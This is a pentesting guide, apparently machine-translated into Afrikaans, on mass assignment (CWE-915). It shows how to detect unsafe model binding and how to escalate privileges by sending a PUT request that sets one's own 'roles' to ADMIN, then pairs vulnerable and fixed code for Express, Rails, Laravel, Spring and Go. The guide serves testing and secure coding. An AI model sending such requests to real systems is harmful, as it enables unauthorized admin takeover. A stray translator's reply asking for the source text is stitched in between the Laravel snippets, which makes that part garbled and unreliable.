Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 7 minutes

Mass assignment (a.k.a. insecure object binding) gebeur wanneer 'n API/controller gebruiker-verskafde JSON direk bind aan 'n server-side model/entity sonder 'n eksplisiete allow-list van velde. As privileged properties soos roles, isAdmin, status, of ownership fields bindable is, kan enige geauthentiseerde gebruiker privileges verhoog of beskermde state manipuleer.

Dit is 'n Broken Access Control issue (OWASP A01:2021) wat dikwels vertical privilege escalation moontlik maak deur roles=ADMIN of soortgelyks te stel. Dit raak gewoonlik frameworks wat automatische binding van request bodies aan data models ondersteun (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).

1) Opspoor Mass Assignment

Kyk vir self-service endpoints wat jou eie profiel of soortgelyke hulpbronne opdateer:

• PUT/PATCH /api/users/{id}
• PATCH /me, PUT /profile
• PUT /api/orders/{id}

Heuristieke aanduidings van mass assignment:

• Die response weerspieël server-beheerde velde (e.g., roles, status, isAdmin, permissions) selfs wanneer jy dit nie gestuur het nie.
• Client bundles bevat role names/IDs of ander bevoorregte attribuutname wat in die hele app gebruik word (admin, staff, moderator, internal flags), wat 'n bindable schema aandui.
• Backend serializers aanvaar onbekende velde sonder om dit te verwerp.

Vinnige toetsvloei:

1. Voer 'n normale opdatering uit met slegs veilige velde en let op die volledige JSON-response-struktuur (this leaks the schema).
2. Herhaal die opdatering en sluit 'n vervaardigde bevoorregte veld in die body in. Indien die response die verandering behou, het jy waarskynlik mass assignment.

Example baseline update revealing schema:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Respons dui op bevoorregte velde:

HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Eksploitasie – Role Escalation via Mass Assignment

Sodra jy die bindable shape ken, sluit die privileged property in dieselfde versoek in.

Voorbeeld: set roles to ADMIN on your own user resource:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Indien die antwoord die rolverandering volhou, herverifieer of verfris tokens/claims sodat die app 'n admin-context sessie uitreik en bevoorregte UI/endpoints wys.

Aantekeninge

• Rol-identifiseerders en -vorms word dikwels uit die client JS bundle of API docs opgenoem. Soek na stringe soos "roles", "ADMIN", "STAFF", of numeriese rol-ID's.
• As tokens claims bevat (bv. JWT roles), is 'n logout/login of token refresh gewoonlik nodig om die nuwe voorregte te aktiveer.

3) Client Bundle Recon for Schema and Role IDs

• Kontroleer minified JS bundles vir role strings en model names; source maps kan DTO shapes openbaarmaak.
• Kyk na arrays/maps van roles, permissions of feature flags. Bou payloads wat presies by die property names en nesting pas.
• Tipiese aanduiders: role name constants, dropdown option lists, validation schemas.

Handige greps teen 'n afgelaaide bundle:

strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Raamwerk-valkuiles en Veilige Patrone

Die kwesbaarheid ontstaan wanneer raamwerke req.body direk aan persistente entiteite koppel. Hieronder is algemene foute en minimale, veilige patrone.

Node.js (Express + Mongoose)

Kwetsbaar:

// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Regstelling:

// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Kwetsbaar (geen strong parameters):

def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Herstel (strong params + geen bevoorregte velde):

def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Kwetsbaar:

protected $guarded = []; // Everything mass-assignable (bad)

Ek sien geen inhoud om te vertaal nie. Plak asseblief die teks uit src/pentesting-web/mass-assignment-cwe-915.md wat jy in Afrikaans vertaal wil hê, dan vertaal ek dit en hou alle markdown, tags, kodes, skakels en paadjies ongewysig.

protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Kwetsbare patroon:

// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Regstelling: Map na 'n DTO met slegs toegelate velde en dwing magtiging af:

record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Kopieer dan die toegelate velde van die DTO na die entity aan die bediener-kant, en hanteer rolveranderinge slegs in admin-only handlers ná RBAC-kontroles. Gebruik @JsonIgnore op bevoorregte velde indien nodig en verwerp onbekende eienskappe.

Go (encoding/json)

• Maak seker dat bevoorregte velde json:"-" gebruik en valideer met 'n DTO struct wat slegs toegelate velde insluit.
• Oorweeg decoder.DisallowUnknownFields() en post-bind validering van invarianties (rolle kan nie verander in self-service roetes nie).

Verwysings

• FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
• OWASP Top 10 – Broken Access Control
• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes